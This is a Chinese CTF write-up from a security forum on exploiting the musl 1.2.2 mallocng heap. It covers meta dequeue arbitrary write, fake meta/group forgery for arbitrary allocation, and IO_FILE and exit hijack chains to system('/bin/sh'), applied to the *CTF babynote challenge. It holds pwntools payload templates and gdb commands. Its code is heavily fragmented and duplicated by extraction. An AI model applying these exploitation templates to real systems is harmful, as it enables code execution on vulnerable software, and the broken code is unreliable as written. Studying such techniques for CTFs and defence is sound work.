看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇[原创]手动编译测试musl1.2.2 meta dequeue特性-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法
一般是下面两种:
(1)free->nontrivial_free()->dequeue
(2)malloc->alloc_slot->dequeue
(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)
任意地址写
meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:
(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)
如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作
同样,从一个简单的demo入手:
(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)
目标:给0x555555559f00赋值0x55555555b300
首先断在这个地方:
此时meta的构造如下:
发现此时这个meta指向自身,我们通过set指令修改它的pre和next:
修改过后,ni 发现会卡在一个地方:
但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:
为啥会卡住呢?我们着重分析分析118行这里的源码
这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:
这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):
(不知道为啥这些地方set就只能一次4字节)
但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:
重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)
meta->mem也就是group的首地址,要设置成meta的地址。同样用set:
设置好过后,ni就能成功free然后实现任意地址写了
上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):
发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):
只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:
这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块
实现任意地址申请
当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改
下面谈谈如何伪造满足条件的meta和group实现任意地址申请:
(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页
(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行
(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。
(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可
(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]
(6)malloc(sc*0x10)申请出target进行修改
伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)
(1)伪造meta
(2)伪造group
(3)拼接payload
任意地址泄露或者任意地址写
musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0
所以,musl的堆题处处充满了风水。。。举个栗子:
注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。
musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:
puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)
这里的rax是通过r12赋值的:
而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /
那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE
伪造的IO_FILE模板如下:
其实就改了改三个点,flags,wend和write。原来的长这样:
改wend其实是因为在call rax之前还有这个检查:
同样给出一条参考链子(感谢CatF1y师傅的点拨):
exit->stdio_exit_needed->stdio_exit_needed->close_file
最后的close_file长这样:
最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:
只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了
./libc.so即可看查libc版本:
实现了增删查三种功能
熟悉的结构题题,通过calloc申请0x20大小的note:
name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)
这个函数的流程大体如下:
读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:
也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)
利用流程:
已知存size为0x30的group最多能存10个堆块(0~9)
(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:
(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)
(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content
(4)通过find show B的content,即可泄露libcbase和elfbase
由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:
后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)
(1)通过UAF 泄露elfbase和libcbase以及secret
(2)然后申请大堆块在mmap的内存段布置好fake meta
(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]
(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell
dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~
感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析~
(11条消息) *CTF babynote 复现_xyzmpv的博客-CSDN博客
[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
/
*
在musl
-
1.2
.
2
目录下编译和链接:
.
/
obj
/
musl
-
gcc main.c
-
o test
patchelf
-
-
set
-
interpreter .
/
libc.so .
/
test
(libc.so就用题目附件给的就好)
*
/
void init()
{
setbuf(stdin,
0
);
setbuf(stdout,
0
);
setbuf(stderr,
0
);
}
int
main() {
init();
size_t
*
p1;
p1
=
(size_t
*
)malloc(
0x20
);
/
/
1
read(
0
,p1,
0x10
);
free(p1);
return
0
;
}
/
*
在musl
-
1.2
.
2
目录下编译和链接:
.
/
obj
/
musl
-
gcc main.c
-
o test
patchelf
-
-
set
-
interpreter .
/
libc.so .
/
test
(libc.so就用题目附件给的就好)
*
/
void init()
{
setbuf(stdin,
0
);
setbuf(stdout,
0
);
setbuf(stderr,
0
);
}
int
main() {
init();
size_t
*
p1;
p1
=
(size_t
*
)malloc(
0x20
);
/
/
1
read(
0
,p1,
0x10
);
free(p1);
return
0
;
}
set
*
0x55555555b298
=
0x555555559ef8
set
*
0x55555555b2a0
=
0x55555555b300
set
*
0x55555555b298
=
0x555555559ef8
set
*
0x55555555b2a0
=
0x55555555b300
set
*
0x55555555b310
=
0x55555555b340
set
*
0x55555555b314
=
0x5555
set
*
0x55555555b310
=
0x55555555b340
set
*
0x55555555b314
=
0x5555
const struct group
*
base
=
(const void
*
)(p
-
UNIT
*
offset
-
UNIT);
/
/
根据chunK获取group和meta p为chunk指针
const struct meta
*
meta
=
base
-
>meta;
assert
(meta
-
>mem
=
=
base);
/
/
检查
assert
(index <
=
meta
-
>last_idx);
assert
(!(meta
-
>avail_mask & (
1u
<<index)));
assert
(!(meta
-
>freed_mask & (
1u
<<index)));
/
/
通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area
*
area
=
(void
*
)((uintptr_t)meta &
-
4096
);
/
/
meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert
(area
-
>check
=
=
ctx.secret);
/
/
检查area中的secret
const struct group
*
base
=
(const void
*
)(p
-
UNIT
*
offset
-
UNIT);
/
/
根据chunK获取group和meta p为chunk指针
const struct meta
*
meta
=
base
-
>meta;
assert
(meta
-
>mem
=
=
base);
/
/
检查
assert
(index <
=
meta
-
>last_idx);
assert
(!(meta
-
>avail_mask & (
1u
<<index)));
assert
(!(meta
-
>freed_mask & (
1u
<<index)));
/
/
通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
const struct meta_area
*
area
=
(void
*
)((uintptr_t)meta &
-
4096
);
/
/
meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
assert
(area
-
>check
=
=
ctx.secret);
/
/
检查area中的secret
set
*
0x000055555555b340
=
0x55555555b300
set
*
0x000055555555b340
=
0x5555
set
*
0x000055555555b340
=
0x55555555b300
set
*
0x000055555555b340
=
0x5555
伪造dequeue
-
meta:
```
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
fake_meta
=
p64(stdout
-
0x18
)
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
```
伪造queue
-
meta(或者伪造替换group时不希望meta被free):
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(
0
)
fake_meta
+
=
p64(
0
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
伪造dequeue
-
meta:
```
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
fake_meta
=
p64(stdout
-
0x18
)
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
```
伪造queue
-
meta(或者伪造替换group时不希望meta被free):
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(
0
)
fake_meta
+
=
p64(
0
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
padding
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
b
'\n'
payload
=
padding
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
b
'\n'
mov rax, qword ptr [r12
+
0x48
]
call rax
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-10-7 16:20
被Nameless_a编辑
,原因: